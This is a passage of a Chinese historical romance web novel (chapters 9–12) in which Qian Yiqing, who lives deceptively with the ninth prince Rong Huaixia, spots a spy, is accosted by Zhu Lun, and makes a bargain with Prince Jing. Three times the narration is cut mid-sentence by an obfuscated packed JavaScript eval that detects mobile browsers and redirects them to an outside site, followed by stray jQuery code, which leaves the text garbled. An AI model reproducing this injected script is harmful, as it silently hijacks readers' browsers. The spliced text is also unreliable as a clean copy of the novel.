纵使过往相处皆是她虚情假意,但此时面对身居高位的九皇子,从他口中听到这么一句话,她也无法不为之动容。 至少此刻,她在他眼中读出的只有真诚。 容怀瑕抬手在她肩头按了按,微微颔首,先她一步离开了房间。 偌大的书房空留她一人失神。 以假意还之真心,如此以怨报德,她是不是太过分了? - 千裔清熄了房中不知什么时候点起的灯,她觉得今夜的自己比容怀瑕更需要一碗酸枣汤来安神。不,是安一安她的内疚。 这么想着,她脚步一停,拐了个弯往厨房方向走去。 一道黑影一闪而过,千裔清几乎没怎么留神,那道黑影就已经消失了。 厨房后的小门锁的严严实实,那是府中买菜送料时才会偶尔打开的通道。但因为后厨边上离正厅较远,矮墙外直通另一条僻静的街道。 那条街人烟稀少,平日里没什么人路过。 她停驻原地,好一会儿思考才回忆起方才那道黑影,夜里的确太黑,但如果她没看错的话,那道黑影分明长了双和人一样形状的眼睛。 有人一直在墙外窥视? 9. 交易 居然还有人胆敢窥视皇子宅邸? 这一幕着实让人心头一震。然而容怀瑕住进霜序居几年,府中众人一直相安无事,也从未听说有过什么异样传闻。 千裔清虽然读书不多,但自小跟着父母打理生意,到底还是脑子转的很快。 她顿时心生另一想法。 或许这人窥视的不是容怀瑕,是她? 不论如何,这些想法目前都无从证实,她只好暂时放下猜测,继续去厨房煮她的桂花酸枣汤。 加上刚才这一惊吓,她待会儿要喝两碗才行。 - 千裔清在相府两年,早就没了赖床的习惯,到了一定时辰是再也睡不下去的。 府中众人还是各做各的事,不过今日陆离却是不在。 她想起昨夜容怀瑕提到今天是武安王离开皇都的日子,想必几位皇子都是出城为他送行,也要好一会儿回不来。 今日一起床她就觉得胃口不大好,小腹隐隐有些不舒服,算了算了日子,大约是要来月事。 也正因如此,她莫名觉得心口堵得慌,情绪有点烦躁。又想起昨夜见到的那双眼睛,在府中也待得不安稳。 祝音一直没再联系过她,璟王那边也没传来要与她见面的消息。 千裔清想,既然璟王也要去送行,祝音应当是在府中的。 就这么来到相府外,还是上次的侧门,她扬手敲门,一连敲了几次,却是没人应了。 她在门外踌躇了一会儿,正抬脚离开,门后突然传来了动静,小厮打开门,千裔清回头,却是个脸生的新面孔。 果然,这小厮也并不认识她,他睁着圆眼一脸的疑惑。 “你是?” “我是祝音小姐的旧识,不知今日她是否在府中?” 小厮想了想:“小姐一大早跟璟王出去了,估摸着这会儿时间也差不多了,您要不进来等?” 这可不成!若是进去等,岂不是就要和府中那两位打个照面。 她抬手拒绝:“不用了,既然祝小姐不在,那我改日再来吧。” “哎——”小厮忙喊住她,“姑娘姓甚名谁,可否留下个名号,小姐回来我也好知会一声!” 千裔清想了想,还是担心惹麻烦,便说道:“不用了,我改日再来拜访吧。” 她转身要走,眼前突然笼上一面阴影,似是有人挡在了她面前。 还未抬头,那抹熟悉的声音就在她头顶响起。 “千千姑娘这是要去哪啊?” 待看清来人,果然是祝家的纨绔少爷——祝纶。 祝纶背着双臂,一脸调笑地看着她。 “我听母亲说,你卷了家中不少金银趁夜逃跑了?说实话,听到这个消息我还真是伤心,你如果答应嫁给我,想要什么没有,何故沦落至此?” 千裔清冷然一笑,正眼都不肯给他一个。 “祝公子怕是误会了,我并未偷你府上金银,而且我已经赎了身,如今不再是你府上下人了。” “是吗?”祝纶上前一步,侧着头上下打量她,眼中的揶揄毫不掩饰,“敢问是哪家府上的少爷好心赎了你啊?” “那便不劳您操心了。” 说完,她闪身避过,想要远离这个是非之地。 只是祝纶显然没打算就此放她走,长腿一迈,伸出一直手臂拦在她面前。 “莫不是攀上了高枝就不认你的前主子了?” 千裔清柳眉一横,目光森然:“我怎么不记得有你这么个主子?” “哟!翻脸不认人是吧?”祝纶伸出手,意图勾上她下巴,却被她轻巧躲开。他也不恼,原地踱了两步又站定,“要不是我父亲好心将你买回府,你早就横尸街头了,没想到你非但不知恩图报,还教唆祝音那小丫头跟我作对!” 说到祝音,他突然情绪上涌,原先忍气吞声的妹妹近日越发敢和他顶嘴这事儿让他极为不爽。他瞪了千裔清一眼,只觉得眼前的女子貌若仙人,美到让他生不起气来,又生生咽下了怒火。 祝纶脸色缓和一些:“瞧你这身衣裳如此朴素,想来去的也不是什么大户人家,不如你跟了我,金银钗饰、铜佩玉环,我保你要什么有什么,如何?” “不如何。”千裔清不为所动,只是觉得眼前这人如跳梁小丑一般,“祝公子还是让开吧,我要回去了。” “回去?回哪儿去?本公子好心,不介意送送你,顺便也瞧瞧你的新主子是个什么模样!” 此话一出,千裔清心知他今日打定主意要和她纠缠。 这便麻烦了。 坊间皆知九皇子带回的是流月坊的清影姑娘,若是被祝纶发现,岂不是要暴露她和祝音相识的过往种种?饶是容怀瑕再傻,也可知她的用心了! 眼神微转,千裔清勾唇一笑,漠然道:“我家主子脾气不好,祝公子若是执意要去,只怕是要有去无回。” “哦?是哪个——” “千千。” 一身华府俊美异常的男人从车上下来,身边跟着的正是千裔清此次要见的祝音。 “千千姐姐!”祝音小跑几步,伸手揽上她胳膊。 璟王淡淡扫了祝纶一眼,冰凉的语气毫不掩饰自己的不快:“祝纶,你拦着本王的人是想做什么?” 祝纶双眼一瞪,好看的五官因为惊惧显得有些扭曲。 “她......你......” 璟王没多理会他,转头看着千裔清:“说了让你耐心等着,怎么还是自己过来了?” 这话但凡长了耳朵的人都听得出,千裔清是在璟王府上做事的,而璟王一定是他得罪不起的。 千裔清一怔,很快反应过来,略微欠身恭敬道:“璟王殿下恕罪,我与祝音小姐交好,实在是想念的紧。” 璟王点点头:“既然见到了便跟我回府吧,上车。” 千裔清看了祝音一眼,后者对她点点头,张嘴比了个口型,一副让她放心的样子。 既如此,她也不好多说什么,只得应道:“是。” - 璟王府的马车比九皇子那日接她回去所乘的更加宽敞,马车上的饰物和摆置更是丰富,二人在宫中的待遇和差距可见一斑。 千裔清坐在车内角落,掀开车窗帷幔一角看到祝音在相府门前踮着脚对她招手,笑容明朗的出自真心,此情此景让她不由得也会心一笑,抬手对祝音也挥了挥手,以示回应。 “你和渺渺感情倒是不错。” 千裔清收敛笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899845|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回头看着璟王恭敬道:“是,我与祝音情同姐妹。” 回话时,她也一直在观察璟王的表情。 璟王面上向来和气,总是挂着笑。不过他的笑不像旁人,他的笑好像只是为了掩饰自己真正的情绪所戴的面具,故意让你一眼就看出他的虚伪,偏又碍于他的尊贵身份说不得怨不得。 “那你可还记得我与九弟乃是真正有着血缘的兄弟?”璟王弯着眼梢,语气不咸不淡,“九弟拒婚的事祝丞相已经知晓,你也是时候为自己早做打算了。” 千裔清听明白了,她沉吟:“璟王殿下希望我去哪儿?” “去哪都好,趁他还未深陷,早些离开。” 离开是一定的,但此事还未敲定,永光帝那边态度含糊,容怀瑕这边也只是拒了一次,是否会有变数还不一定,谈及功成身退更是为时尚早。 “那你呢?若我离开,你会不会娶祝音?” 璟王一挑眉,对她这般不知死活的问询感到讶异,却也懒得与她计较。 他眸光滞了一滞,神情有些复杂,嘴角似乎溢出一丝嘲弄。 “他不会答应的。” 这个“他”指的自然是永光帝。 千裔清心中一沉,突然有点明白了璟王的身不由己。 璟王一拂衣袖,拿起案上的酒杯一饮而尽,突然轻笑一声。 “你说,生于帝王家,做了父皇的儿子,到底是幸还是不幸?” 没等她回答,璟王又缓缓开口,像是在说给自己听。 “对齐光来说或许是幸,对我和怀瑕——”他摇头,又仰头咽下一杯,再看向她时的目光冰冷淡漠,“我知道你打的什么主意,既然这样,不如我们也做个交易?” “哦?什么交易?” “若九弟真的喜欢上你,你要留在他身边,不能辜负了他。”他唇角一挑,又道,“九弟文武双全又贵为皇子,跟了他,你不吃亏。” 她本是凉薄之人,若无祝音,她生命中也不过“活着”二字。 千裔清一耸肩,一脸的不以为然:“能跟在九皇子身边是我的福分......不过既然是交易,璟王要许给我什么?” 璟王垂眸低笑,再抬首时瞳孔微微收缩,他神色一凝,缓缓吐出的两个字坚定而有力。 “祝音。” - 璟王府的马车稳稳停下,车夫隔着帘子道了声:“璟王殿下,到了。” 随后,车门大开,他取下马凳放好,恭敬地垂下头站在一旁。 璟王偏头瞥了一眼身边绞着衣角的女子,似乎并没下车的打算,他顿时有些好笑:“方才不是还一脸的理直气壮,怎么这会儿扭捏起来了?” 她知道璟王是聪明人,也是局内人,因此在他面前不必搪塞。 说到底容怀瑕是莫名其妙被牵扯进来的无辜之人,再加上日渐的了解,千裔清越发觉得于心不忍。 车门外头的太阳晴的刚好,想必武安王的出行也很顺利,太子的册封大典尘埃落定已经许久,一切都好像重新回到正轨,回到了开春雪化之前的种种景象。 唯一不同的是她从相府来到了容怀瑕的身边。 只要她抬脚下车,就要继续用谎言去欺骗那个真诚待她之人。 10. 恃宠 三月惊蛰,天气回暖,桃始华,黄鹂鸣。 霜序居外的马车停了许久却不见有人下车。 璟王倚在车上斜睨着千裔清,也不劝她,也不催她,看起来很有耐心的样子。 千裔清撩开帘子,大门开着,不过却并未见什么人影。 “容怀瑕是不是已经回来了?” “他与我们一同出发,应当是早到一些。”璟王整理着衣领,随口又问,“你平日里就是这么称呼九弟的?” 经他提醒,千裔清这才意识到自己方才因为紧张,一时间忘了尊卑,她垂下眼帘,小声嘀咕了一声:“璟王殿下赎罪,是我失言了。” 璟王淡淡说道:“无妨。九弟都不在意,我又何须在意。不过我劝你还是快些下车,否则一会儿九弟就要亲自来请我们了。” “我们?”千裔清一怔,“璟王殿下要与我一起?” 璟王好笑的打量她一眼:“我不同你一起,你要如何对九弟解释,又要如何应对他的盘问?” 他? 说话间,璟王眉梢一挑,目光轻扬,就这么落在了车门之外的地方,那里不知什么时候已经站了个人。 陆离神色古怪的在两人身上转了个弯,按捺下心头疑虑,低眉对着璟王恭敬道:“璟王殿下,九皇子正在更衣,还请您进府稍等片刻。” 璟王嘴角噙着笑,带着试探的眼神看向千裔清:“怎么样千千?方才我就说再不下车九弟就要来请我们了,你看,果真来了。” 说完,他一掀衣袍,率先两步下了车。 待到地面站定,他挺直身形,转身对着千裔清伸出一只手,似是要让她扶着下来。 璟王不是那么善意的人,自打知晓千裔清心思不纯就对她不甚满意,而今对她照顾,除她暂有用处以外,左不过是因为与祝音及容怀瑕的感情,至多算爱屋及乌罢了。 今日是吃错了什么药?千裔清眉头微微一蹙,对他这动作表示不解。 “二哥,还是我来吧。” 冰凉的嗓音一声轻唤,下一刻,容怀瑕就已经出现在她的视线之中。 璟王唇边笑意似乎更大了些,他悄然收回手,对着容怀瑕颔首:“九弟动作倒是快。” 容怀瑕垂眼端正,看起来俨然是个乖巧懂事的弟弟。 “二哥一路舟车劳顿,先进去歇会儿吧。陆离,请璟王进府。” 陆离应了声“是”,侧身引着璟王进屋。 璟王回身跟着进去,仿佛刚才那一幕从未出现,目光却是在转角时悄悄看了她一眼。 他刚才的动作其实是在试探容怀瑕? 千裔清看向容怀瑕,二人霎时目光相触。他上前一步,伸出那只修长的手,指间的骨节每一寸都好看的分明,正待她的回应。 “下来。”他轻声道,语间带着几分冷色,似是有些不愉快,却不肯明目张胆的袒露。 千裔清微微一愣,扬唇露出一个明艳动人的笑,她弯下腰握住他的手指上方,冰凉与温热相及,她又故意在他指尖捏了两下,眼中满是调戏之意。 下了车,她仍是不肯松手,踮着脚靠近他耳边柔声。 “多谢殿下。” 温热的吐息近在咫尺,刻意的示好再明显不过,少年神色出现了片刻间动容,耳廓很快的红成一圈。 容怀瑕不着痕迹的丢下她的手,像是闹脾气般的走快几步,先跟着进了会客厅。 - 容怀瑕和璟王在厅中议事。 说是议事,也就是聊聊家常罢了。 两位皇子聊家常,她一个无名无份的外人自然是不适合旁听的,饶是他们二人再不介意,她也不能这般的不要命真坐在一旁去听。 所以她选择在殿外旁听。 其实是因为她想知道璟王是如何向容怀瑕解释她们二人同乘马车回府之事,以免待会儿说漏了嘴。再者她还想知道璟王会不会提起祝音,以及尽快引荐她们“相识”的事。 然而还没旁听两句,千裔清余光一扫,就见那不速之客迈着腿大步走来。她将身子站直离远,佯装一副正要离开的样子。 陆离微微探出一只手臂,手上的剑柄被他紧紧握着,虽未出鞘,却带了强烈的警示意味。 千裔清横它一眼,正视着陆离,端着得体的笑容稍一歪头,假装没看到他的动作。 “陆离大人为何拦我?” 陆离板着脸问:“今日你为何会与璟王一道回来?” 千裔清面色不变,看着他答:“大人想知道什么去问璟王便是。” 陆离闻言嘴唇一抿,深吸了口气缓缓平息,像是压下了许多的怒意。他冷然道:“你与璟王到底是什么关系?” “我与璟王没有任何关系。”千裔清似笑非笑,“哦……硬要说的话,倒也有点儿关系。” “什么?” 陆离神色一凛,手上扶着剑柄的动作条件反射的跟着一紧。 “大人不知道?”千裔清一脸惊讶,而后笑着解释,“大人知道我出身青楼,却不知道我是璟王买来送与殿下的?” 陆离面色一紧,觉得自己好像被眼前这丫头戏耍了一番。她虽然看似无害,又总能为自己的所作所为找出许多理由,甚至于还有璟王似有意似无意的袒护。但陆离以为,千裔清绝不简单。 千裔清当然也看得出他对自己始终有疑心,或许是出自于他侍卫的直觉,他觉得自己一定有什么目的,至于他是以为自己要害容怀瑕还是别的什么,这便说不清了。 “你在偷听?”陆离一顿,看了看一旁关上的窗子,窗后便是会客厅,厅里坐了两位主子。他又重复了一遍,语气笃定道,“你在偷听。” “大人凭什么说我在偷听?”她上前一步,胸口几乎要蹭上他握着剑的手,吓得陆离忙退了一步。 千裔清看着他后退,狡黠一笑,眼波流转媚态尽现:“大人若是觉得我在偷听,那就进去向两位殿下揭发我好了!看看殿下会如何处置我?” “你——”陆离指着她,脸上终于见了些明显的怒气,但他很快凝住,怒极却笑,“千姑娘可听说过恃宠而骄必生患这句话?” 她甜甜一笑:“这么说,大人觉得殿下宠我?” “装傻充愣。” 陆离终是觉得对牛弹琴,无法再跟她沟通下去,死气沉沉的面孔上鲜为少见的翻起白眼,拐了个弯前去厅中侍奉了。 千裔清这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899846|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收起端着的笑容,方才的憨态和媚色都如昙花一现,眼瞳中只剩下漠然和疏离。 陆离真正意义上的主子只有容怀瑕一个,这位九皇子又是个宅心仁厚的,他自然不能设身处地的为她着想。 她为奴两年,若不凭着装傻充愣和虚与委蛇的本事,恐怕今日是没命活着跟他抬杠的。 - 庭院里玉堂春开的正盛,玉雪霓裳,宛若天仙临世。 绛珠递过铰刀,揣着手看千裔清坐在罗汉塌上,一面将几枝白玉兰插进素色的青玉瓷瓶中。 “千千姑娘,你怎么突然想起插花呀?” “玉兰开得再好也不过月余时间了,反正总是要落的,倒不如趁此时间物尽其用。”千裔清把瓶身转了半圈,目光落在一片缺了角的多余叶子上,顺手剪去。大功告成,她满意的对着自己的“作品”左瞧右瞧,然后递给绛珠,“好了,去放到中书阁吧。” 绛珠接过瓶子却没抬脚迟疑道:“中书阁?这......还需问过殿下吧?” 千裔清歪着头抬眼瞧她,满是疑惑道:“不过是一瓶花而已,我是瞧着那书房一片冷色,放些绿植再合适不过了。” “可是......毕竟是殿下的书房,若是随意添置恐怕会惹殿下不快。” “殿下这么好脾气还会罚你们不成?”千裔清摆摆手,“放心吧,真要是追究起来就说是我让你去的。” 绛珠咬了咬唇,心道也对,主子们的事只管他们自己去解决,她一个婢子听命就是了,考虑这么多做什么。 身后传来绛珠关上房门的声音,千裔清放松了身子,支起一只手臂倚在窗边。 脑后窗纸外的树木影影绰绰,喜鹊的叫声稀稀落落。 也不知道璟王他们聊的怎么样了。 “啊,见过殿下!” 门外一声惊呼引得千裔清霎时回神,她将肩头窗子缝隙又多开了两指,动作轻缓,生怕惹得来人的注意。 “这是什么?” “回殿下,这是千千姑娘吩咐的,说是放进中书阁去。殿下您看......” 容怀瑕顿了顿,似是在斟酌。 “......嗯,去吧。” 窗外是绛珠踩着石阶下去的脚步声,步伐听起来带着点儿急促,千裔清沉吟着,屈起两指又将窗沿勾了回来。 不多时,预想中的敲门声并没传来,却是听到容怀瑕在门前驻足片刻又转身离开的声响。 奇怪了,他不是来找她的? 没来得及多想,木窗却“梆梆”的清脆响了两声,这声响就在耳边,正是她还未阖紧的窗子之外传出的。 千裔清肩头一颤,被这声音吓了一跳,她支起身子向窗台俯去,伸出手刚想去推,一侧窗扇像是有了意识一般自行向外张开。 一窗之隔,映入眼帘的是容怀瑕清秀的眉眼,还有她杵在容怀瑕眼前略显尴尬的一只纤手。饶是她卧在罗汉塌上,额头还是比他矮了两寸,看起来像是探出手要抚上他侧脸一样。 “殿......殿下?”千裔清瞳孔一紧,险些咬了自己的舌头,“你怎么......” 他怎么不走正门,反倒来敲她的窗棂? 11. 名分 容怀瑕不答,目光却是落在她抬起的手腕上。 顺着他目光一瞧,千裔清心中暗自懊恼,自己竟是拿着这股架势半天了,忙想要把手缩回来。 指尖才略一蜷起,容怀瑕快她一步,手掌覆在她皓腕之上,连带着将她的半只手一起包裹的严严实实。而后他指节移了半寸,改为托着她掌心,另一只手却是伸向了她的衣袖,细致的帮她放下翻起的袖口。 她倒是忘了,修剪花枝时觉得衣裳袖子过于累赘,于是就卷起了一层,只是却忘了放下来。 时间仿佛过了很久很久,久到像千裔清这种没羞没臊的都不由耳根发热,反观容怀瑕,还是慢条斯理的给她整理着袖口的褶皱。 千裔清总觉得他是故意的。 然而他终于是整理好了,毫无征兆的放开她手腕,抬起的双眼牢牢锁着她。 “这么喜欢偷听?” 千裔清一愣,两只手背交叠撑着下巴支在窗台上,微微仰头回望着容怀瑕,似笑非笑。 “殿下是说刚才,还是更早的事?” 她脸上丝毫没有愧色,当真是一副恃宠而骄的样子,又笑盈盈的看着他,眼中如一汪星河,闪烁着动人的光泽,蛊人心魄。 “殿下还是进来说吧,你的腿不酸,我的脖子也要酸了。” - 弱冠少年已经长得身形挺拔,顷刻间来到她面前。 坐在宽敞的罗汉塌另一侧,两人只间隔了张矮小的方桌却是都没说话,屋内静的能听到彼此的呼吸声。 千裔清抬起眼打量着身边人,随口问道:“璟王走了?” 容怀瑕面色微沉,迟疑了一下。 “你和二哥什么时候这么熟了?” “倒是不熟,恰好遇上了而已。”千裔清微扬眉梢,一面观察着容怀瑕的表情,担心说漏了嘴,“璟王殿下没和你说吗?” 容怀瑕沉吟片刻,缓缓开口:“过几日围场狩猎,你去不去?” “狩猎?” “嗯,七哥前些日子从域外带了几匹好马送予五哥做册封礼,五哥念及兄弟情谊,想借此机会转赠几位皇兄,这才提了去画山围场的事。” 太子提的?那她跟去是不是不大合适。 看出了她的犹豫,容怀瑕问道:“你不想去?” “我......”她话语微顿,看着他确认似的,“殿下希望我去?” 容怀瑕垂下眼睫思索:“是二哥说相府的那位祝小姐对你很感兴趣,想见见你。” “这么说璟王和祝音都会去?”她目光一亮,看起来颇有兴致,脸上的惊喜之色都是藏不住的。 容怀瑕将她的表情变化看在眼里,却是一步步沉下了脸色。 “听到二哥会去你就这么高兴?” 显然容怀瑕自动忽略掉了祝音的名字,他只当千裔清欣喜是源于璟王的邀请。 但他心中作何猜想,千裔清没功夫去猜,她只准确捕捉到了“祝音”两个字,以为璟王终于要安排她们名正言顺的见面了。 她疑惑容怀瑕的阴晴不定,上一刻还在询问她的意见,怎的这会儿就一脸要发火儿的样子。 “怎么了?不是殿下方才问我要不要去的?” “千裔清!”他不耐的打断,突然觉得自己这番态度好像失了礼数,顿了顿,他放缓声音,神色却有些不自然。“罢了,你想去便去。” 先前算是千裔清一时反应迟钝,聪慧如她,这会儿诚然是看出了门道。她翘起唇角,唇线牵起一道好看的弧线。 “殿下该不会以为我喜欢璟王吧?” “殿下误会了,我只是好奇皇上非要指给你的祝小姐是个什么样儿的姑娘,至于璟王,他去或不去都与我无关。”她盯着容怀瑕,目光缱绻又带着几分揶揄,“你......方才叫我的名字,难道是生气了?” 被拆穿了心思,容怀瑕表情一凝,别开脸轻咳,正打算反驳。 千裔清却突然垂下脸,暗自轻叹一声,一副惋惜的样子。 “不过我还是不要去了。” 这下就轮到容怀瑕疑惑了,刚才还饶有兴致的模样,怎的一转脸又变卦了。 “为何?”心中这么想着,他也就问出口了。 她拧眉,熟练的玩起了推拉:“祝小姐是相府千金,跟着璟王同去自然没什么,我在殿下身边无名无份,殿下带着我岂不是要遭人非议,这罪名我可担待不起。” “你想要名分?”容怀瑕说着,竟是真的做出考虑的样子,末了,他却是想起了从前一幕,“我记得初遇之时就告诉过你,我不打算娶亲。” “嗯,是啊。不过那会儿殿下对我并无情义。”千裔清一脸的不以为然,仍是嬉皮笑脸的。 这话却是惹得容怀瑕哭笑不得,他挑眉诧异:“这么说,你觉得我现在对你有情义?” 她避而不答:“这就要问殿下了。” 容怀瑕神色一滞,眉头微微蹙起,没再接下去她的话。 少时,他兀的沉声道:“那便去吧。” 说完,容怀瑕自行起身,只留一个默然的背影。 情义这东西存在与否他说不清,他只知道旁人都当他是洪水猛兽避之不及,从未有人对他如此上心,如此大方的表达爱意。 千裔清是第一个。 他或许并不喜欢她,但他不得不承认,他喜欢这种被人在意的感觉。 更何况这人还是个有着惊人美貌的女子。 - 翌日一早,宫里的小太监快马传来旨意,说是永光帝急召九皇子进宫。 永光帝素来是不召见他的,这道圣旨一出,不必多做他想,定然是为了与祝音的婚事。 这皇帝还挺执着。 千裔清暗暗鄙夷,同是自己的亲生儿子,怎能偏颇到如此地步,既如此,倒不如一开始就任他生活在坊间,何故带回宫冠以皇子身份,却又如此羞辱于他。 容怀瑕这等心胸,竟是没有在这样的环境下长歪,反倒是众兄弟中最谦和最朴素的一个。 上了中书阁,不过一夜,脱离了主干的玉兰已经有些发蔫儿,还真是要一日一换。新折了几株白玉兰,不过这次她还新添了些粉嫩的桃枝进去,粉白相映,如同雪上红绯。 做完这些,她揉着发酸的脖颈下了阁楼,兴许是昨日睡姿不对,总有种落枕的疲惫感。 从中书阁下来,回房和后院是两个截然不同的岔路方向,她脚步一顿,鬼使神差的拐了个弯往后厨走去。 上次夜里见到的那个人影倒是有几日没再出现了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899847|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨房后的小门仍旧锁的严严实实,矮墙外的另一条僻静街道照旧清晰可见,许是青天白日,那人并未显出踪迹,她稍作思索,打定主意朝大门走去。纵是矮墙,凭她也是翻不过去的,所以她打算绕到后街去看一眼。 不论正门还是后门,整个区域都隶属西街,这条街上居住的大多是商贾富豪,霜序居在西街角落,寻常人是不会路过的。 然而后巷也是人影空落,除了一个推着车的买卖商贩,只有寥寥小厮家丁打扮的行人总匆匆往自己主人宅邸赶。 千裔清眯起眼,却是见着拐角处的下人背影很是眼熟。、 这服饰......像是相府的人? 毫不犹豫,她立刻跟了上去,然而男子脚力比寻常女子要好的多,七拐八拐走了许多冤枉路,她一抬眼,却是发现人不见了。 取而代之的是鼎立的巨大牌坊,镶着金边,上头赫然写了“醉方斋”几个大字。 这是一年前十方国来的一对姐弟开的酒楼。 那家仆莫不是进了这里头? 正想到这,牌匾之下迎面一道锦衣华服的身影,穿着打扮很是张扬。 千裔清只瞟了一眼,转身就走。 “哟!这不是璟王府上的千千姑娘么?怎么一个人到这里,没跟着你家主子啊?” 这讨人厌的声音! 千裔清忍不住翻了个白眼,只当做没听见。 然而祝纶却不给她避开的机会,对着身后小仆一招手,小仆立刻听话的横在面前拦着千裔清去路。 待看清这人长相,她略显诧异。 这不是那日在相府侧门见到的生面孔么?他是祝纶底下的差使? “祝公子这般拦着我的去路,就不怕我在璟王面前告你的状?” 祝纶一愣,面上有些后怕的样子。不过那长着圆眼的小厮立刻上前,凑近他低声耳语了什么,祝纶面色转阴为晴。 “是这样?”祝纶扬起笑看着她,“原来不是璟王,而是九皇子啊!” 什么? 一个愣神,她目光落在小厮身上缓了片刻,顿时猜出了其中缘由。 眼中寒芒微动,她几乎是咬着牙道:“你派人跟踪我?” “怎么能说是跟踪呢,还不是太久不见你实在想念的紧,好不容易探到你的消息,这才赶忙确认一番。”祝纶上前,压低声音又说,“你若跟了璟王也就罢了,偏偏跟了那个没用的九皇子,啧......” “祝公子慎言,殿下贵为皇子,岂是你能随意议论的!” 饶是他说的半是实话,千裔清还是觉得难以入耳,忍不住打断。 “那怎么了?就算是他容怀瑕站在面前我也敢这么说!知道我爹是谁吗?我爹可是当朝丞相!”祝纶越说越起劲,站在店门外叫嚣着,丝毫不在意引得旁人驻足观看,看来的确是没把容怀瑕放在眼里。 可祝纶不要脸,她不能不要! 她侧过身子想要绕开,对方却是不依不饶当街纠缠起来。 她早就知道这人麻烦,没想到竟到了如此地步。 “祝纶公子——” 身着异域服饰的年轻女子从身后店门缓缓踏出,眉目深邃饱含万般风情。 只看一眼,千裔清便再也移不开眼了。 12. 书阁 来人一身石榴色的十方装束,高挑纤细的身材,黑亮的长辫半绑着,白皙皮肤与娇艳红唇形成鲜明的比对,尤其是她的那双眼睛,那是千裔清从未见到过的深邃眼瞳,只需一眼便可深陷。 饶是她在清楚自己的美貌同时,也不由觉得惊艳。 同样的,对方在看清她长相之时,也毫不掩饰自己眼中的惊艳。 “越曦,你怎么下来了?”祝纶抑制不住脸上的愉悦,语调都放柔了七分。 那娇美的女子对她轻眨下眼,噙着浅笑看向祝纶:“说好请祝公子品尝新酿的桃酒,怎么一声不响的就走了?” 祝纶一愣,印象中并不记得有这样一个约定。但美人相邀,他自然是不会拒绝的。 至于这千裔清嘛......无妨,反正来日方长。 - 多亏越曦的帮忙,千裔清这才能安然回来。 转眼已到了晌午,绛雪一面擦着角落的楠木方几,忍不住看向罗汉塌上懒散的倩影,手上的百花饼咬了好几口,仍是剩了大半块,桌上的几道小菜分毫未动,看起来兴致缺缺。 “姑娘怎么不吃,是不是今日的饭菜不合口味?” 今日的饭菜与往常差别不大,其中还有她十分喜欢吃的胭脂鹅脯和龙井虾仁。然而一想到后院窥伺之人竟是祝纶的仆从,她总觉得眼皮直跳,心中不祥。 “殿下怎么还没回来?” 绛雪眼珠一转,露出一个会心的笑:“原来是因为没有殿下陪着,觉得食不知味了啊!” “方才姑娘出门的时候陆离大人捎来了信儿,说是晚些太子设宴,今晚便住在宫里了。不过姑娘不用担心,有陆离大人陪着,不会出什么事的!” 千裔清随意点点头。 他不回来倒还好些,省得真撞上了滋事的祝纶...... 也不知道祝纶会不会寻来,他虽是不把容怀瑕放在眼里,也不至于真的上门挑衅吧? 望着满桌的菜色沉沉叹了口气,她简单夹了几筷,草草结束用餐,拿起叠好的方绢擦了擦唇角。 “对了绛雪,你跟着殿下几年了?” 绛雪想了想答道:“自从殿下搬出宫来奴婢和绛珠便随爹爹一同来侍奉,算起来也有三年了。” “三年......”千裔清点点头,略一思索启唇又问,“除了恕城,你可去过夜南其他地方?” “这个倒是不曾......奴婢一家三口本来也是在别家做下人的,不过原先的主人对我们不好,殿下偶然见了,这才将我们一同买进府里。” 也是个不怎么见过世面的小丫头,千裔清垂下眼帘,眼中失望之色尽显。 绛雪有点儿疑惑:“千千姑娘,你问这个做什么?” 想为自己的今后做个打算罢了。 真要是被拆穿了,冠上个欺瞒皇族的罪名,她可不敢保证自己有命活着。她那里还有不少银票,到时去些偏远地方躲个半辈子应该不是难事。 然而千裔清只是勉强的笑笑:“没什么,就是觉得长这么大还没游览过夜南的大好河山,有些可惜罢了。” “原来是这样啊!”绛雪傻呵呵的一笑,“那姑娘可以可以去问问殿下啊,殿下见多识广又常外出游历,一定知道不少好玩的地方!” 转眼间,桌上的碗盘已被摞的整整齐齐,绛雪收拾着打算撤走,忽的又想起什么。 “姑娘要是真有兴趣也可以去殿下的书房看看,听说书房里有许多的山水杂记,还有咱们夜南各处的地图呢。” “真的?”这话倒让千裔清突然提起了兴致,蓦的眼睛一亮。 “奴婢也是偶然听陆离大人和府上打扫的下人们提及,陆离大人所言应当不会有假。” - 中书阁的藏书之远多她上次窥见一角,容怀瑕也算是各类学史都有涉猎。这么多的字她看着都头疼,再瞧书籍上的批注细节,显然不是草草翻阅了事的。 可见这位九皇子天资聪颖不假,谦逊用功也是真,不过平日里不露锋芒罢了。 一番找寻,想看的书倒是没翻到几本,地图也只见了两份简略的。 